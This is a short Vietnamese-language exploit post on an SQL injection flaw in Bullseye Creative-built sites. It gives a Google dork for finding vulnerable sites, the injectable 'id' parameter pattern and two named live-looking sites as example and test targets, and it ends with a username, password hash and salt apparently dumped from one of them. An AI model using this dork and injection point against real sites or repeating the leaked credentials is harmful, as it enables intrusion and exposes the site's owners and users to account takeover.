Bullseye Creative => SQL injection Vulnerability

Tác giả: RaMeZ (Libyan Darkness Storm – LDS)
Google dork : intext:powered by: Bullseye Creative "inurl:.php?id="

Lỗi khai thác:

www.victim.com/[tên file bất kỳ].php?id=[sqli]

VD:

http://www.lauxanh.us/details.php?id=30

Site test:

http://www.impactredmond.com/case_studies.php?id=19

Info lấy được thông qua SQLi

user l pass l salt
panoonan l 0b8dcc60531eb2a89b13e7b34e6fa9ef559daa17 l 3294xJPI01m29XNpaczX